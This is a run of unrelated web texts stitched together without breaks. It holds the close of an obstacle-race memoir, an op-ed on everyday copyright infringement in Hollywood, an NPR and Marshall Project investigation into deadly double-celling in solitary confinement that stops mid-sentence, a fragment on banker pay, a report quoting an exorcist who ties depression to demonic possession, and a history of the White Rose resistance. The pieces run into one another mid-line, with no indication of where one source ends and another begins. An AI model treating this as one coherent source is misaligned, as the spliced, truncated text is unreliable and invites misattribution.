Fortunately, the time to give up was long past and I was already in a corral of runners who were being instructed by a former drill instructor to do pushups and jumping jacks before we even passed the starting line, which incidentally was a seven foot wall we had to climb over. So despite all my trepidation, I started the race, and I quickly learned a very important lesson: giving up was simply not an option anymore. With spectators and friends running by my side, my pain (and boy was there pain) was no longer a free pass to quit. I had to continue, I simply gave myself no other choice.
Four grueling hours passed. I climbed the mountain, I trudged through mud (which later was revealed to contain a healthy amount of manure), crawled through 10,000 volt wires, jumped off thirty foot platforms, swam through ice and slid through fire. Without the option to quit, these extreme challenges surprisingly became easier as each hour passed. Sure, my body was failing as I tripped and dragged myself along, but my mind continued to push me forward. I forced myself to go beyond the limits I had thought existed. In the great words of Rudyard Kipling in his poem If:
“If you can force your heart and nerve and sinew To serve your turn long after they are gone, And so hold on when there is nothing in you Except the Will which says to them: ‘Hold on!”
So it was in such a spectacular fashion that I climbed Mount Snow, arriving at the peak for the fourth and last time, my body aching, shaking, and screaming in protest. I reached the top and turned my shaky legs around and saw the expanse of New England spread out before me. In that singular moment, the pain vanished. My heart, threatening to beat through my chest just moments before, calmed. I took a breath and let it hit me. Waves of appreciation for the view, the event, my teammates and a sense of mastering mind, body and nature combined into a high with which no drug could ever compare. I was on top of the world.
The days following the race I had trouble walking. While stairs were a no-go for almost a week afterward, I couldn’t help but smile. That feeling of accomplishment, of being in tune with my body and nature at the top of the mountain, was impossible to beat. The challenge and lessons learned provided a new source of confidence, and a life changing experience I wouldn’t soon forget. It was fitting, then, that the organizers had placed a small sign at the top of the mountain that simply read “The pain you feel today will be the strength you draw on tomorrow”. They were right, as I learned in that moment that no challenge was beyond my capability, and that I was limited only by what I wouldn’t attempt.How Hollywood's Own Pirates Must Inform The Future Of Copyright
from the not-so-black-and-white dept
After last year's Stop Online Privacy Act (SOPA) debacle, Hollywood quietly retreated from the copyright debate to nurse its wounds and rethink strategy. Now, with recent activity at the Motion Picture Association of America (MPAA) and the introduction of the Copyright Alert System (CAS), the industry is poised to re-enter the conversation with a fresh plan. As MPAA Chairman Chris Dodd recently admitted to the National Press Club, "I'm looking for a new approach." But in the wake of SOPA, with opposition from Silicon Valley and little traction in D.C., is there anywhere left to look? As it turns out, Dodd's answers may be waiting in the unlikeliest of places -- Hollywood's own backyard.Don't let the party line fool you -- if there's one thing the film and television industry can't live without, it's copyright infringement. Ask any assistant. Piracy in Hollywood is not just a quiet expectation, it's a. When I started as a studio assistant, one of the first lessons I learned was how to rip an encrypted DVD. But it's not just the studios. From agencies to management firms to offices all over town, the volume of infringing material that trades hands on a daily basis makes Hollywood look like a Chinese flea market.Let's take an example. An agent wants to introduce her new director client to the town. How best to make the introduction? Burn 40 copies of the client's debut feature and send them out to producers. Now one of the producers watches the film and sees potential for a big-budget remake. How does he pitch the project to financiers? Burn another dozen copies and send them out. Now one of the financiers watches the film and wants to gauge the opinion of a younger demographic. So he burns a few copies and sends them to his daughters at college. And just like that, 3 executives (and their assistants) have committed over 50 acts of copyright infringement.Now multiply that by the daily routine of buying, selling, and trading movies, TV shows, books, and comics, and piracy in Hollywood starts to look less like a dirty secret and more like a cultural norm. But beyond the illegality and hypocrisy of the situation lies a much more salient point which is its sheer, bottom-line necessity. Because the truth is, there's no better alternative, and not even a close second. The quick pace of the industry requires a constant flow of content and infringement is the way to get it done.So where does that leave industry policy? While it's safe to assume the MPAA doesn't endorse the casual infringement that courses through the industry, the organization is working hard to distance itself from SOPA's one-size-fits-all approach to IP protection. From Dodd's consistent rhetoric of cooperation to the recent appointment of Diane Strahan as COO, the MPAA has made a clear push to partner with the technology industry in the distribution and protection of digital content. Some may question whether these efforts are genuine -- is Strahan's background with UltraViolet and digital rights management the right type of experience for the job? Nevertheless, assuming the best, while it's certainly refreshing to see the industry operate under a banner of collaboration, the real question is whether these efforts are sufficient to craft a new, comprehensive copyright regime.Let's take a step back. In the larger scheme of finding Dodd's "new approach," there's one inescapable reality -- intellectual property protection is a matter of law. Business strategies and technological advances shape the means of consuming and distributing content, but without a legal foundation for support, they'll continue to operate on shaky ground. Because as we've seen, whenever a new wall goes up, a new tunnel isn't far behind. And there's the elephant in the room of the MPAA's newfound belief in tech-centric partnerships -- what happens when those tunnels are exposed? When the CAS is subverted? When Ultraviolet is hacked? How will the MPAA respond when the new salvos break and we're left with the same copyright legislation still woefully unsuited to the times?Enter the Hollywood pirates. This is where industry infringement can move the needle by highlighting the absolute kookiness of our copyright laws. The MPAA professes to support our current policy. So what gives? Does the MPAA ignore its industry's behavior and retreat to the comfort of the status quo? Or does it stick with its new message, swallow the bitter pill, and truly commit to a new approach?The answer comes down to leadership, and if Chris Dodd's words are anything to go by, I'm inclined to hope for the latter. In every speech, press release, and policy paper, the MPAA makes sure to stress one common point -- job creation. The film and television industry creates jobs -- not just in Los Angeles and New York, but across all 50 states. Those jobs are what the MPAA says it's fighting for, and when the industry says stop pirating, those jobs and a respect for their craft are a reason many of us listen. There are a host of issues wrapped up in the copyright debate -- creative, business, legal, technological -- but when the dust settles, the industry spends nearly $15 million a year on lobbying to protect its own interests and that means the jobs of its constituents.So when a core requirement of those very jobs is to pirate copyright material, it is incumbent on the MPAA leadership to take a close look at the industry it represents and figure out why. If Dodd takes that look, he'll see the reality on the ground -- that there are scenarios where an owner can't control all uses of her work. That speed, or convenience, or necessity may take priority over a legal claim. In short, that content "in the wild" can take on a life of its own.And sometimes that's a good thing.Piracy facilitates business in this industry - and that means jobs. Obviously, the physical copying of Hollywood mailrooms is a far cry from the digital and international piracy truly threatening the studios, but the takeaway remains the same -- copyright is complicated, content is malleable, and any honest attempt to institute a new intellectual property regime needs to be flexible enough to accommodate the times. It may mean carve-outs and exceptions, it may mean years of research, and it may mean a renewed commitment to the legislative process. No matter the path, it means that as Dodd continues looking for a new approach, instead of starting on Capitol Hill or in Silicon Valley, Hollywood might be the place to look after all.
Filed Under: chris dodd, copyright, hollywood, piracy, studios
Companies: mpaaDoubling Up Prisoners In 'Solitary' Creates Deadly Consequences
This seems like a contradiction: Put a dangerous prison inmate into solitary confinement, and then give him a cellmate. An investigation by NPR and The Marshall Project, a news organization that specializes in criminal justice, found that this practice — called double celling — is widespread in state and federal prisons. And as we learned, those cellmates often fight, attack and, sometimes, kill.
Enlarge this image toggle caption Randolph County State's Attorney Randolph County State's Attorney
On Nov. 19, 2014, the door clanged shut behind David Sesson and Bernard Simmons. Sesson put his hands through the food slot to have his handcuffs removed. Both men were in "disciplinary segregation," a bureaucratic term for solitary confinement, at Menard Correctional Center in southern Illinois.
But unlike many in solitary, Sesson and Simmons wouldn't have a moment alone. The 4-foot-8-inch by 10-foot-8-inch space was originally built for one, but as Menard became increasingly overcrowded and guards sent more people to solitary, the prison bolted in a second bunk. The two men would have to eat, sleep and defecate inches from one another for nearly 24 hours a day in a space smaller than a parking spot, if a parking spot had walls made of cement and steel on all sides.
About This Investigation This story was reported and published in partnership between NPR News Investigations and The Marshall Project. Details in this story about incidents that happened inside the prisons came from court records, videotaped confessions inmates made to the Illinois Department of Corrections investigators and other documents from their case files obtained from the Randolph County State's Attorney Office by NPR and The Marshall Project via Freedom of Information Act requests.
With a toilet, sink, shelf and beds, the men were left with a sliver of space about a foot-and-a-half wide to maneuver around each other. If one stood, the other had to sit. They could palm both walls without fully extending their arms. There was no natural light, just a fluorescent bulb and small Plexiglas windows that looked out onto the hall. The solid door muffled the cacophony of shouting and door-banging ricocheting off the tier. It also blocked ventilation.
The space itself appeared to be decomposing. The front wall, next to the door, was made of corroded metal. The paint on the wedge-shaped shelf had almost completely chipped away; the beds were caked in rust; and the floor underneath the toilet was stained brown and black. Dust and crumbs accumulated in every corner.
When guards locked the door, Sesson didn't know anything about Simmons — not his name, not what he had done to wind up in prison or what he did to end up in solitary. But Sesson says Simmons had heard a few things about him. He knew he was a "bug," someone who attacks his cellmates. And while Simmons was three inches taller, at 5 feet 7 inches, Sesson outweighed him by more than 100 pounds.
The two started arguing immediately. Each had to prove that he would not be messed with, because if something happened — if one attacked the other — there was no escape. The only way to alert a guard was to bang on the door and hope the sound could be heard above the din.
In an interview with Menard Corrections Department investigators, David Sesson confesses to killing his cellmate, Bernard Simmons. This video was provided by the Randolph County State's Attorney Office after a Freedom of Information Act request.
According to the videotaped confession Sesson gave investigators with the Illinois Department of Corrections, he says Simmons told him he was serving a life sentence for murder. Sesson said he was, too. That settled it. Neither had anything to lose.
Sesson thought he had made it clear to the guards that he did not want a cellmate. After years of sharing claustrophobic cells with strangers, he told them that he would hurt anyone they put him with; that's how desperate he was to be alone.
"Frankly, I am tired of living with people," he said later. So he told Simmons, "If we get into it, I'm not gonna stop."
Later that day, they ate dinner on their beds and tossed the empty Styrofoam trays and milk cartons in the corner. Then an officer's face appeared in the small window in the door. He called both their names for the 9 p.m. count, and after they replied, he moved on to the next cell. That's when Sesson jumped down from the top bunk.
Sesson says Simmons threw the first punch, only grazing Sesson's face. Sesson lunged back at him and grabbed him by the throat, wrestling Simmons to the ground. Sesson says he picked up a torn, knotted strip of bedsheet, but it split. So he pulled a shoelace from his boots and wrapped it tightly around Simmons' neck.
Enlarge this image toggle caption Randolph County State's Attorney Randolph County State's Attorney
The men in the cell next door told investigators, according to a Department of Corrections written account, that they heard a few minutes of muffled fighting through the concrete walls and banging on the door. Then, quiet. The prison staff heard nothing. It took at least 30 minutes, when a corrections officer made his next round, for someone to check on cell 6-38.
"My cellie is dead. I killed him," the officer says Sesson told him. Simmons' body lay on the ground, halfway underneath the bottom bunk.
They had been together less than six hours.
Solitary's 'Terrible Price'
In recent years, the practice of solitary confinement has faced unprecedented criticism. "It doesn't make us safer. It is an affront to our humanity," President Obama wrote in an op-ed in the Washington Post in January, when he announced a set of reforms to solitary in federal prisons. Both the pope and the United Nations have classified it as torture, and in June 2015, Supreme Court Justice Anthony Kennedy wrote that "years on end of near-total isolation exact a terrible price."
Prisoners have described how isolation has pushed them toward insanity. Some lost the ability to focus, to interact with people, or to differentiate the real from the imagined. Multiple studies have found inmates in solitary are more likely to hurt themselves or attempt suicide than those in general population. And it doesn't end when they're set free. Those released directly from solitary to their homes have difficulty maintaining relationships or holding down jobs. Many end up right back in prison.
In all this discussion about the harmful effects of segregation, solitary is often described as the isolation of one person in a cell, ignoring the many who, like Simmons and Sesson, are locked in a tiny room together for nearly 24 hours a day. While there are no national statistics on the number of people confined in double-cell "solitary," at least 18 state prison systems double-up a portion of their restrictive housing, and over 80 percent of the 10,747 federal prisoners in solitary have a cellmate.
In many places, prisons have turned to double celling to cope with overcrowding. "If you can come up with a better way to do this, understanding the fact that we are 162 percent of capacity without double celling, I'm willing to listen to you," an Illinois Corrections Department spokesman told reporters and mental health advocates in 1994, when the state faced criticism for doubling up the mental health units at Menard. Illinois is under particular pressure as one of the most over-stuffed prison systems in the country.
"We've done this utterly bizarre thing, which is to put two people in cells that were built for one and leave them both in there for 23 or more hours a day," says Craig Haney, a psychologist who has studied solitary for more than 30 years. "The frustration and anger that's generated by being in isolation is intensified by having to navigate around another person's habits, trials and tribulations."
Eddie Caumiant, the regional director of the American Federation of State, County and Municipal Employees union that represents Menard's correctional officers, says he's heard double celling described as a "powder keg" and "an accident waiting to happen."
The cells are more cramped, the inmates' movements more limited. There's the unrelenting pressure of living with another, potentially mentally ill or dangerous person — a pressure that can fester into paranoia and rage.
Cons have a way of working the system. That's usually why they're down there. Just because they said 'I don't like my cellie' or 'I'm going to do something to my cellie,' it would be very difficult to move them every time.
"You never know what to expect from a crazy person because there are so many types of crazy," Daniel Delaney wrote in a letter to The Marshall Project. Delaney is currently at ADX Florence in Colorado, convicted of killing his cellmate in solitary in 2010 at another federal prison. "A lot of crazy people don't shower or clean up after themselves. Some make funny noises. Some just tear out pages from books and turn 'em into little pieces of paper confetti. And, of course, some crazy people are violent."
Despite the risks of double celling, some corrections officials insist it's preferable because it's technically not "solitary" at all. In Texas and Indiana, prisoners who are locked down for nearly 24 hours a day, but with a cellmate, are not classified as being in "segregation." When Charles Samuels, then director of the federal Bureau of Prisons, was asked how many people were kept in solitary during an August 2015 Senate hearing on federal prison conditions, he said: "We do not practice solitary confinement.... When individuals are placed in restrictive housing, we place them in a cell with another individual."
The presence of that other individual, says Edmond Ross, a spokesman for the federal Bureau of Prisons, can prevent prisoners from committing suicide.
"It's better to have two individuals in restrictive housing instead of one.... It's less likely that individuals harm themselves," he says. But while having a cellmate may decrease the risk of self-harm, it increases the risk of inmate-on-inmate violence.
"There have been rare instances where individuals have attacked their cellmates and, in a few instances, murdered their cellmate," Ross says.
In Menard, double-celled prisoners are placed in rooms that are a foot-and-a-half narrower than those in general population (too narrow, one inmate has said, to do push-ups). Gerard Schultz, who was double celled at Menard for a cumulative eight months, explained in a letter that he had to create a schedule with his cellmate to determine when someone could stand up. Alan Mills, the executive director of the Uptown People's Law Center, a Chicago legal nonprofit, reported meeting two double-celled prisoners who had developed bedsores from lack of movement.
Inmates in the segregation unit receive two showers and nine hours of recreation time each week, according to prison officials (inmates, lawyers and advocates claim it is often far less). Check-ins with medical and mental-health staff often take place through the cell door, forcing prisoners to report intimate physical and psychological problems in front of their cellmates, or not at all.
Across the country, double-celled inmates have lashed out against crowded conditions in extreme ways.
One prisoner, Aaron Fillmore, started feeling an unexplainable aggression toward his cellmate. "It was a level of discomfort that I never experienced before," he wrote in a letter. Fillmore was double-celled at Lawrence Correctional Center in Illinois for three months. "I had thoughts of just punching him in the face. Why? I have no idea. I just had the urge to do it."
In 2013, an Ohio man suffering from psychotic delusions strangled his cellmate a day after they were placed together. The murdered cellmate was two days away from being released. A prisoner in Georgia stabbed his cellmate multiple times in 2014 as officers were handcuffing that cellmate through the cell door. When guards demanded that the prisoner put his hands up to be cuffed, he yelled in response, "I can't do that. He just kept messin' with me." That same year in Alaska, two cellmates who had been friends got into an argument, which ended when one strangled the other. After realizing what he had done, he screamed for the guards' help.
Re-entry advocate Johnny Perez, who says he spent a cumulative 16 months at Upstate prison in New York, said some prisoners would tell officials they were thinking of hurting themselves just to be put on suicide watch, away from their cellmates. "They take your clothes, give you a smock," he says. "People call it 'going on vacation.' "
'Move My Cellie'
Ten years before Sesson killed Simmons, Corey Fox killed his cellmate, Joshua Daczewitz, in the same segregation wing of Menard. Daczewitz was an overweight 22-year-old who grew up in a suburb of Chicago. Court records show he had never been to prison before and was serving a seven-year sentence for arson and robbery. He landed in solitary at Menard after testing positive for crack cocaine.
Being housed in solitary confinement with another person, unable to escape that person's presence, habits or tactics, is like wearing a corset made of nails and explosives, constantly.
Fox, then 28, was serving a life sentence for murder. He had been in single-cell solitary at Pontiac Correctional Center for attacking a former cellmate and telling a social worker he fantasized about dismembering him, state investigation documents show. He was then transferred to Menard — and double celled.
After Fox and Daczewitz were placed together, Fox repeatedly asked guards to remove his younger cellmate. Even though he was somewhat friendly toward Daczewitz (playing chess, sharing magazines, introducing him to a female pen pal), Fox said he needed to live alone. "Being housed in solitary confinement with another person, unable to escape that person's presence, habits or tactics, is like wearing a corset made of nails and explosives, constantly," Fox wrote in a letter to The Marshall Project.
After two months of begging for a single cell, Fox told an investigator he wrote a note to guards, which said: "Move my cellie or I'm going to erase him."
They didn't, so he did.
In careful cursive, he wrote guards another note, which was included in investigation documents by the Illinois Department of Corrections obtained by NPR and The Marhsall Project: "As unbelievable as it may sound... my cellmate, Joshua Daczewitz, is dead, deceased, no longer breathing, finished, on the other side, and so on and so on.... You are welcomed to come directly to my cell and view the body if you believe this all to be a joke."
Fox pleaded guilty to the murder and received a second life sentence. He also received a single cell at Tamms Correctional Center, a supermax prison in Illinois. When Tamms closed in 2013, he was moved back to a single cell at Pontiac. Daczewitz's mother won a $13 million lawsuit against Fox, and a separate settlement against the state for putting her son in the cell in the first place.
On a tour of Tamms in 2009, Sen. Dick Durbin, D-Ill., met Fox. During their brief conversation, Fox told Durbin how and why he killed his cellmate.
"It would seem to me to be fair warning if a prisoner who has been in solitary says, 'If you put someone in this cell, I'll kill 'em.' It's a danger to any inmate that's put in there," Durbin tells NPR and The Marshall Project. "Here we have a horrible situation, solitary confinement, made even worse by the possibility that that cellmate is going to be an attacker." Durbin has since led two Senate Judiciary hearings on how to rethink solitary.
After the Chicago Tribune dug into both Daczewitz's murder and a similar killing at Stateville Correctional Center — where a double-celled convicted murderer strangled his cellmate in his sleep — Illinois prison administrators created new guidelines to prevent future casualties. They started requiring officers to consider inmates' crimes, size, gang affiliations and behavior when assigning cellmates.
The ultimate decision as to whether to place two prisoners together, however, remained at the discretion of the staff. Someone who had previously attacked or threatened a cellmate could still be doubled up.
"We should know better than to put folks who have a demonstrated proclivity for violence together in double cells," says Caumiant, the union spokesman. But he says overcrowding makes the practice unavoidable.
It's a necessity that has come under fire in Illinois in recent years. In June 2015, the Uptown People's Law Center and the firm Winston and Strawn LLP filed a federal lawsuit against the state for sending 2,300 people to single- and double-cell solitary, hundreds of whom had been there for over a decade. Illinois corrections spokeswoman Nicole Wilson did not comment on the lawsuit but said the department is currently reviewing its use of segregation.
In 2014, Sesson was the fourth man in less than two years to murder his cellmate in Menard's solitary unit. By comparison, there were only nine reported homicides in all of Illinois' prisons in the previous 11 years.
"I really think that the employees of Menard do the best that they can. And, quite frankly, do a good job [because] we don't have more [murders]," says Randolph County State's Attorney Jeremy Walker, who prosecuted the four recent murders. "But it's a tough place to do time. People that say cons have it easy, they ain't never been in Menard."
'You're Asking For Disaster. You're Asking For Death.'
Enlarge this image toggle caption Joseph Shapiro/NPR Joseph Shapiro/NPR
Menard Correctional Center sits on the northeast bank of the Mississippi River in Chester, Ill. From the outside, the prison, which opened in 1878, looks more like an ornate university building than a maximum-security facility. Stone lions are perched at the entrance, and columns prop up an awning carved with Victorian skeleton keys and the scales of justice.
The segregation wing is on the north side of the building and includes 143 double cells. While prisoners often complain about their cellmates, and many would prefer a single cell, space is limited. Officers have to parse which threats are empty, and which are not. "Cons have a way of working the system. That's usually why they're down there," says Walker, the state's attorney. "Just because they said 'I don't like my cellie' or 'I'm going to do something to my cellie,' it would be very difficult to move them every time."
Corrections officers speculate that the situation at Menard worsened in January 2013, when then-Gov. Pat Quinn shuttered Tamms. Officers believe that closing the prison exacerbated overcrowding, and the fear of being sent to Tamms kept inmates from violent outbursts. "The deterrent we had before isn't there, and the inmates are acting like it," one union official said in a newsletter in June 2013.
There's no way of definitively knowing why the surge in murders happened when it did, but what is clear is that tension on Menard's north tier finally exploded in 2013. Court documents show the first of those murders happened the night of Jan. 25, 2013. Donald Hazzard, a young prisoner who had previously assaulted other inmates, beat his older cellmate, Yusuf Abuzir. Abuzir died of his injuries a month later, at the age of 64.
Hazzard said in a videotaped confession that he attacked because he felt threatened. "He was a striker, more of an older intimidator. I'm looking like I'm watching my back," he told investigators. In a taped confession, Hazzard's sentences trail off and his mouth twitches occasionally. "I've met a lot of homies [who] got stabbed up and raped in the joint just for being on the bottom bunk," he said. Hazzard was ultimately found not guilty by reason of insanity. He is now in a high-security mental health facility.
Six days later, it happened again. Officers pulled a struggling, angry prisoner out of his cell in handcuffs, followed by the lifeless body of a 25-year-old man, according to court records. The victim, Jason Hall, had bruises all over his face and a broken nose. There were scrapes on his left cheek from trying to pry off his cellmate's fingers. Hall had been sentenced to 13 years for carjacking and was two years away from going home. His cellmate, James Amison, pleaded guilty to the murder and received another 50 years in prison. He is now housed at Pontiac.
Two months after that, in March 2013, Frank Wings stopped an officer as he was making his 9 p.m. rounds and told him: "My cellie tried to stab me, then I choked him," a prison investigation report says.
Corrections officers handcuffed Wings and removed him from the cell. Then they handcuffed his dead cellmate before attempting CPR. It was too late. William Crowder died of manual strangulation at the age of 35. Wings pleaded guilty to second-degree murder, claiming self-defense, and received another 20 years in prison. In a letter to The Marshall Project, Wings said he had asked officers to move him the night before because his cellmate had started "acting strange." But "they didn't respond at all."
Enlarge this image toggle caption Peter Hoffman for NPR Peter Hoffman for NPR
Two days later, Crowder's sister, Emmerine, received a call from the prison. Her brother was dead. Though Emmerine knew her brother was in and out of "lockdown," she didn't know that he had been double celled until he died.
"I thought segregation meant you was by yourself," she says. "It don't make no sense to me. You're asking for disaster. You're asking for death."
Sesson And Simmons Seemed Compatible
The Illinois Department of Corrections will not say exactly how long Simmons and Sesson had been double celled before they ended up together, or why they were sent to solitary in the first place. (Once an inmate is placed in segregation, it is easy to rack up additional disciplinary infractions and be kept there for months or years.)
Wings and Sesson agreed to be interviewed for this story, but the Illinois Department of Corrections denied access. Spokeswoman Nicole Wilson said she could not comment on specific cases, and did not discuss the policy and rationale behind double celling. As of March 15, the Illinois Department of Corrections reports having 50 inmates in double-cell solitary at Menard.
What is known about Simmons and Sesson is that they both had multiple cellmates at Menard by the time they were locked together in cell 6-38 — and that Sesson's patience was fraying.
Simmons' most recent disciplinary ticket was for disobeying a guard's orders. Sesson's was for trying to strangle his last cellmate with a television cord 11 days before he killed Simmons.
Sesson and his previous cellmate were allegedly fighting over space. "He kept crowding me... was gonna boss me around," Sesson said, according to reports from prison investigators. Sesson pinned his cellmate to the ground and pulled the television cord tightly around his neck. Someone walked by in time and yelled at Sesson to knock it off. Sesson let go of the cord.
Enlarge this image toggle caption Peter Hoffman for NPR Peter Hoffman for NPR
His cellmate was alive but had to remain locked in a room with a man who had just tried to kill him. Staff interviewed Sesson's cellmate, who told them that he was "afraid to say anything at first," but after a day of nonstop arguing, "he started to fear for his life." The two were separated immediately, and Sesson received a disciplinary ticket for more time in solitary.
Sesson and Simmons seemed compatible on paper. They were the same age (34) and from the same area (South Side of Chicago). They'd both been in prison before on various charges and were now serving life sentences for murder. Sesson had shot two men in 2002 after one objected to a homophobic comment Sesson made, according to a Cook County state's attorney. Simmons was sentenced to life without parole for stabbing his parents in 2009. Simmons' sisters believe the murders happened during a psychotic break; that day, he told one sister he was God and called for "death to nonbelievers."
But Sesson told the prison that no matter whom they paired him with, he would attack again. In his confession to investigators, he said: "I've been down here since 2004. Everybody always trying to find someone to match up with me," he told investigators. "They say I'm a bug, that I fight with all my cellies. So I guess I rub everybody the wrong way."
Enlarge this image toggle caption Peter Hoffman for NPR Peter Hoffman for NPR
The Simmons family was furious with the prison's decision to ignore Sesson's warnings and past behavior. "They knew this and they put our brother in there with him anyway?" says Simmons' sister Debra. "My brother was collateral damage for him to get his one-bedroom unit."
Sesson pleaded guilty to the murder and was sentenced to 40 more years in prison on top of |
the end of the year the banks start review the situation."
Much of the anger about investment banking bonuses has focused on boardroom executives such as former Lehman boss Dick Fuld, who was paid $485m in salary, bonuses and options between 2000 and 2007.
Last year Merrill Lynch's chairman Stan O'Neal retired after announcing losses of $8bn, taking a final pay deal worth $161m. Citigroup boss Chuck Prince left last year with a $38m in bonuses, shares and options after multibillion-dollar write-downs. In Britain, Bob Diamond, Barclays president, is one of the few investment bankers whose pay is public. Last year he received a salary of £250,000, but his total pay, including bonuses, reached £36m.Depression and selfishness are expressions of “spiritually weak” personalities that could come under control of evil spirits, a Colombian priest and exorcist told weekly Semana.
Monsignor Andres Tirado, who studied biblical archaeology, told Semana that those suffering depression, have low self esteem or are selfish could more easily fall victim to evil spirits.
If you are not strong inside, it is possible an entity enters your body.
Monsignor Andres Tirado
A spirit taking possession over a person’s body is most likely to happen in “graveyards, hospitals, deserts, caves” and “places where there has been a massacre,” according to Tirado, a renowned expert on exorcism according to the weekly.
There are spirits who take ownership of a place and when somebody enters that place they try to change homes to be inside the body of a human being.
Monsignor Andres Tirado
Rejected by science, the concept of evil spirits is alive an well in the imagination of people and confirmed by clergy of the Catholic faith, Colombia’s most dominant religion.
Tirado denied the rejection of exorcism by scientists, claiming that “now there are doctors and psychiatrists who recommend their patients to visit an exorcist when no other treatment works.”
According to the priest, demonic possessions are more common than one would think as “in the majority of cases the spirits do not manifest themselves because they want to be inside the body and again feel, eat and sleep” rather than risk an exorcism over suspicious behavior.
In Colombia it used to be normal that the grandfather or father would make pacts with the enemy [the devil] to have fortune, money, so that the animals would multiply or that harvest would be plentiful. So they would offer the firstborn. They told the devil that when the first son would be born he could take him and do with him what he pleases. Later, the enemy manifests itself to them and paranormal things are seen.
Monsignor Andres Tirado
The religious authority, who has appeared on national television multiple times, surprisingly praised exorcism movies for what he perceived as their accuracy.On February 4 and 5, 2012 Alexander Schmorell will be recognized (canonized) as a martyr saint.
After the beheading on July 13, 1943 Schmorell’s body was buried behind Stadelheim Prison in the cemetery at Perlacher Forst. 50 years later, in 1993, Schmorell’s parish buys and reconstructs a church-building across the street from where his earthly remains are buried. In the iconostasis of the church dedicated to the New Martyrs of Russia, there is an icon showing Schmorell among the saints canonized by the Russian Church Abroad since 1964.
In May 1942, two young medical students in Munich secretly formed an anti-Nazi project they christened the White Rose. The work they envisioned was simple but daring: publication of a series of anti-Nazi leaflets. In the months that followed, four more friends joined the White Rose. Once launched, the group managed to publish and widely distribute six leaflets advocating active resistance by the German people to Nazi oppression and tyranny. Rejecting fascism and militarism, the White Rose called for a federated Europe committed to tolerance and justice. The leaflets quoted extensively from the Bible, Aristotle, Goethe, Novalis and Schiller. Following the German defeat at Stalingrad, the White Rose also carried out a night-time action of writing anti-Nazi slogans on walls such as “Freedom” and “Down with Hitler” as well as a white swastika with a red slash running through it.
In less than a year, all the principal participants in the group plus many collaborators had been identified, arrested and executed, but their memory lives on. Today not only has the White Rose become important to Germans, but it is internationally known.
This is in part thanks to “Sophie Scholl: The Final Days,” the Oscar-nominated film that focuses on the youngest member of the White Rose, Sophie (only 21 when she died) and her brother Hans. There have also been several books, including Sophie Scholl and the White Rose, and numerous web sites.
Part of the initial inspiration for the activities of the White Rose came from a series of sermons by August von Galen, Catholic bishop of Münster, in which he denounced Aryan racism and the Nazi euthanasia program that resulted in the killing of members of society whom the Nazis regarded as unfit or unproductive.
“These are men and women, our neighbors, our brothers and sisters!” said Bishop von Galen. “Poor ill human beings. Maybe they are unproductive, but does that mean that they have lost the right to live?… If one adopts and puts into practice the principle that men are entitled to kill their unproductive fellows, then woe to all of us when we become aged and infirm! … Then no one will be safe: some committee or other will be able to put him on the list of ‘unproductive’ persons, who in their judgment have become ‘unworthy to live.’ And there will be no police to protect him, no court to avenge his murder and bring his murderers to justice. Who could then trust his doctor? He might decide that a patient is ‘unproductive,’ condemning him to death! One cannot even imagine the moral depravity, the universal mistrust that would spread even in the bosom of the family, if this terrible doctrine is tolerated, accepted, and put into practice. Woe to man, woe to the German people, if the divine commandment, Thou shalt not kill, which the Lord gave at Sinai amid thunder and lightning, which God our Creator wrote into man’s conscience from the beginning, if this commandment is not only violated, but violated with impunity!”
No German newspaper reported the bishop’s remarks. The Gestapo, while not daring to arrest and imprison so prominent a bishop, put von Galen under house arrest. After the war, it was revealed that Hitler had put von Galen on a list of people to be executed after the German victory in the war. Von Galen’s sermons, and their clandestine distribution far beyond Münster, helped inspire the founding of the White Rose. Although not a religious group per se, faith in God was one of the main strands uniting those involved in the White Rose.
Though the printings of the first few White Rose leaflets were small – obtaining the paper needed was a serious problem – the leaflets caused an immediate sensation. The Gestapo began an intensive search for the authors.
The White Rose founders and principal leaflet authors were Alexander Schmorell and Hans Scholl.
Hans Scholl, born in Ingersheim on September 22, 1918, came from a Lutheran family. Hans’s father Robert had served in World War I as a non-combatant medic because of his pacifist convictions. Active in liberal politics, in pre-Nazi times he had been a mayor. As a boy, Hans had been active in the Hitler Youth, but became disillusioned and developed anti-Nazi convictions.
Schmorell was a member of the Orthodox Church, attending the liturgy regularly. His friend Lilo Ramdohr recalls he always had a Bible with him and in various ways expressed his bond with the Orthodox Church. Schmorell was born in Orenburg, Russia, on September 16, 1917. Friends often called him by his Russian nickname, Shurik. His father Hugo was a physician – German by nationality but Russian by birth – and his mother was the daughter of a Russian Orthodox priest. She died of typhus in 1919 when Alexander was only two years old. Hugo remarried the following year. His second wife, Elisabeth, though German, had grown up in Russia. In 1921, the Schmorell family plus their nanny, Feodosiya Lapschina, fled Russia for Germany to escape from the Bolsheviks and the civil war. They settled in Munich, where two more children, Erich and Natasha, were born. Within the home Russian was spoken. Elisabeth Schmorell was Catholic, as were Alexander’s siblings, but Alexander remained Orthodox, attending Orthodox church services as well as religion classes in Munich.
According to Nazi theories of race, Slavs (Russians, Poles, Ukrainians, etc.) were untermenschen, sub-human – a view no member of the Schmorell family could accept. At one point, Alexander had been part of the Scharnhorst Youth, but once the group merged with Hitler Youth he stopped attending meetings.
When Schmorell was drafted into the army and was required to take an oath of loyalty to Hitler, he told his commanding officer that he could not do it, asking instead to be released from military duty. Though not discharged, remarkably he was excused from taking the oath and suffered no punishment. Before his participation in the White Rose, Schmorell had served in Czechoslovakia and in France and so knew first-hand of the crimes the occupying troops were committing.
Schmorell began his medical studies in Hamburg in 1939, but by the fall of 1940 he was studying closer to home at Ludwig-Maximilian University in Munich. There he met Hans Scholl.
Scholl and Schmorell managed to obtain a duplicating machine – no easy achievement at the time, as such devices had to be officially registered – which they used in duplicating all the White Rose leaflets.
The first leaflet, issued in June 1942, declared that “Nothing is so unworthy of a civilized nation as allowing itself to be ‘governed’ without opposition by an irresponsible clique that has yielded to base instinct. It is certain that today every honest German is ashamed of his government. Who among us has any conception of the dimensions of shame that will befall us and our children when one day the veil has fallen from our eyes and the most horrible of crimes – crimes that infinitely outdistance every human measure – reach the light of day? If the German people are already so corrupted and spiritually crushed that they do not raise a hand, frivolously trusting in a questionable faith in the lawful order of history; if they surrender man’s highest principle, that which raises him above all other of God’s creatures, his free will; if they abandon the will to take decisive action and turn the wheel of history and thus subject it to their own rational decision; if they are so devoid of all individuality, have already gone so far along the road toward turning into a spiritless and cowardly mass – then, yes, they deserve their downfall.”
